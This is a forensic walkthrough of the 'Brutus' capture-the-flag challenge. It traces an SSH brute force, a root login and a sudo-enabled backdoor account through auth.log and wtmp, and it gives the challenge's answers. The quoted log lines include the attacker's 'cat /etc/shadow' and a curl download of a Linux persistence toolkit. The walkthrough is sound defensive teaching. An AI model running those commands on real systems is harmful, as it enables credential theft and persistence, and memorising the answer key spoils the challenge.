Brutus
In this Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs.
Sherlock Scenario
In this Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.
| Sherlock | Brutus |
|---|---|
| Category | DFIR |
| Difficulty | Very Easy |
| Creator | CyberJunkie |
| Released | 4th April, 2024 |
Research
Before we begin, its important I explain some facts about the artifacts given to us for analysis.
- auth.log is a plain-text file written by the Pluggable Authentication Modules (PAM) and system daemons like
sshd,sudo,useradd, andcron. Every time something authentication-related happens like a password attempt, a session opening, a privilege escalation or a new account , PAM writes a timestamped line here. Because it’s plain text, you can read it directly withcator search it withgrep. The trade-off is that it’s verbose and mixes many event types together. In the DFIR context, it tells you the narrative:- what was tried
- what failed
- what succeeded
- what commands were run.
- wtmp is fundamentally different. It’s a binary file written directly by the kernel and login subsystem, not by userspace daemons. It records structured 384-byte records for every login session open and close, reboot, and runlevel change. Because it’s binary you cannot read it with
cat. The key forensic value of wtmp over auth.log is that its timestamp is set by the kernel at the moment the TTY/pts session is actually established, making it harder to spoof and independent of the syslog pipeline.
| Log File | Location |
|---|---|
| auth.log | /var/log/auth.log |
| wtmp | /var/log/wtmp or /var/run/wtmp |
With that out of the way, lets get started.
Questions
Question 1
Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?
So the first thing I did was run grep "Failed password" auth.log which pulls every line where a password attempt failed. Then I piped that into awk '{print $(NF-3)}' where NF simply means “number of fields” . So $(NF-3) means “give me the field that’s 3 positions from the last one.”
In auth.log, the failed password lines always end with ... from <IP> port <number> ssh2, so counting back from the end: ssh2 is NF, port number is NF-1, the actual port value is NF-2, and the IP address sits at NF-3.
From there I just piped into sort to order all the IPs alphabetically, then uniq -c to remove duplicates and prefix each with a count of how many times it appeared, then another sort -rn to flip it into descending numeric order. Finally head to just show the top results rather than dumping everything.
1
2
➜ grep "Failed password" auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head
48 65.2.161.68
65.2.161.68
Question 2
The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?
After confirming the attacker’s IP, I just grepped for "Accepted password" as that’s what sshd writes when someone gets in successfully. Then I chained a second grep for the attacker’s IP 65.2.161.68 to narrow it down to only their successful attempts.
1
grep "Accepted password" auth.log | grep "65.2.161.68"
root
Question 3
Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.
As auth.log gives us the authentication time, I needed the actual session open time which lives in wtmp. The challenge is wtmp is binary so you can’t just cat it. So I ran it through the utmp.py parser provided, which decodes those 384-byte records into readable rows, then grepped for the attacker’s IP and filtered for USER type records as this are the actual login events, not logouts or reboots.
That gave me 2024/03/06 06:32:45 which is one second later than auth.log. This is because wtmp is written by the kernel when the terminal session actually opens, not when PAM finishes checking the password.
Another tool you can use to decode wtmp without needing a custom Python script is utmpdumpwhich is already built into most Linux systems as part of the util-linux package so there’s nothing to install.
The command is just utmpdump wtmp and it spits out every record in a readable format. Each row follows the same structure: the number in the first bracket is the record type, where [7] means a user login and [8] means a session close. So when you’re hunting through the output you’re really just scanning for [7] records with the attacker’s IP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
➜ utmpdump wtmp
Utmp dump of wtmp
[2] [00000] [~~ ] [reboot ] [~ ] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-01-25T11:12:17,804944+00:00]
[5] [00601] [tyS0] [ ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,072401+00:00]
[6] [00601] [tyS0] [LOGIN ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,072401+00:00]
[5] [00618] [tty1] [ ] [tty1 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,080342+00:00]
[6] [00618] [tty1] [LOGIN ] [tty1 ] [ ] [0.0.0.0 ] [2024-01-25T11:12:31,080342+00:00]
[1] [00053] [~~ ] [runlevel] [~ ] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-01-25T11:12:33,792454+00:00]
[7] [01284] [ts/0] [ubuntu ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-01-25T11:13:58,354674+00:00]
[8] [01284] [ ] [ ] [pts/0 ] [ ] [0.0.0.0 ] [2024-01-25T11:15:12,956114+00:00]
[7] [01483] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-01-25T11:15:40,806926+00:00]
[8] [01404] [ ] [ ] [pts/0 ] [ ] [0.0.0.0 ] [2024-01-25T12:34:34,949753+00:00]
[7] [836798] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-02-11T10:33:49,408334+00:00]
[5] [838568] [tyS0] [ ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-02-11T10:39:02,172417+00:00]
[6] [838568] [tyS0] [LOGIN ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-02-11T10:39:02,172417+00:00]
[7] [838962] [ts/1] [root ] [pts/1 ] [203.101.190.9 ] [203.101.190.9 ] [2024-02-11T10:41:11,700107+00:00]
[8] [838896] [ ] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-02-11T10:41:46,272984+00:00]
[7] [842171] [ts/1] [root ] [pts/1 ] [203.101.190.9 ] [203.101.190.9 ] [2024-02-11T10:54:27,775434+00:00]
[8] [842073] [ ] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-02-11T11:08:04,769514+00:00]
[8] [836694] [ ] [ ] [pts/0 ] [ ] [0.0.0.0 ] [2024-02-11T11:08:04,769963+00:00]
[1] [00000] [~~ ] [shutdown] [~ ] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-02-11T11:09:18,000731+00:00]
[2] [00000] [~~ ] [reboot ] [~ ] [6.2.0-1018-aws ] [0.0.0.0 ] [2024-03-06T06:17:15,744575+00:00]
[5] [00464] [tyS0] [ ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,354378+00:00]
[6] [00464] [tyS0] [LOGIN ] [ttyS0 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,354378+00:00]
[5] [00505] [tty1] [ ] [tty1 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,469940+00:00]
[6] [00505] [tty1] [LOGIN ] [tty1 ] [ ] [0.0.0.0 ] [2024-03-06T06:17:27,469940+00:00]
[1] [00053] [~~ ] [runlevel] [~ ] [6.2.0-1018-aws ] [0.0.0.0 ] [2024-03-06T06:17:29,538024+00:00]
[7] [01583] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [203.101.190.9 ] [2024-03-06T06:19:55,151913+00:00]
[7] [02549] [ts/1] [root ] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:32:45,387923+00:00]
[8] [02491] [ ] [ ] [pts/1 ] [ ] [0.0.0.0 ] [2024-03-06T06:37:24,590579+00:00]
[7] [02667] [ts/1] [cyberjunkie] [pts/1 ] [65.2.161.68 ] [65.2.161.68 ] [2024-03-06T06:37:35,475575+00:00]
There’s a [7] record for root logging in from 65.2.161.68 at 2024-03-06T06:32:45, that’s the attacker’s main session. Then an [8] at 06:37:24 which is that session closing. And right after at 06:37:35 another [7] pops up for cyberjunkie from the same IP where the attacker immediately switching to their backdoor account the moment they finished setting it up.
2024-03-06 06:32:45
Question 4
SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?
Every time a user logs in, systemd-logind assigns it a session number and logs it as New session N of user X.
1
grep "New session" auth.log | grep "root" | grep -A1 "06:32"
So I grepped for that string, filtered for root, and narrowed it around the 06:32 window. Session 37 came back.
37
Question 5
The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?
Whenever useradd creates an account it writes new user: name=X into auth.log automatically.
1
2
➜ grep "new user" auth.log
Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
cyberjunkie
Question 6
What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?
Creating the account is one thing, but the attacker also needed it to have power. I grepped for usermod which logs whenever a user’s group memberships change and sure enough there’s a line showing cyberjunkie being added to the sudo group at 06:35:15.
That’s classified under T1136.001 — Create Account: Local Account.
T1136.001
Question 7
What time did the attacker’s first SSH session end according to auth.log?
1
grep "session closed for user root" auth.log | grep -v CRON
I grepped for session closed for user root but the problem is cron jobs open and close root sessions constantly throughout the log.
So I added grep -v CRON to exclude those, which left only the interactive SSH session termination. Landed on 06:37:24 - that’s when the attacker disconnected their root session, right before switching to the cyberjunkie backdoor account.
2024-03-06 06:37:24
Question 8
The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?
sudo logs every single command it executes for example the user, the working directory, and the full command with arguments. So this was just a matter of grepping for sudo lines belonging to cyberjunkie with COMMAND in them. Two commands showed up:
1
2
3
➜ grep "sudo" auth.log | grep "cyberjunkie" | grep "COMMAND"
Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
First /usr/bin/cat /etc/shadow at 06:37:57 showing they were harvesting password hashes then /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh at 06:39:38, which is a Linux persistence toolkit they downloaded to dig themselves in deeper.
/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
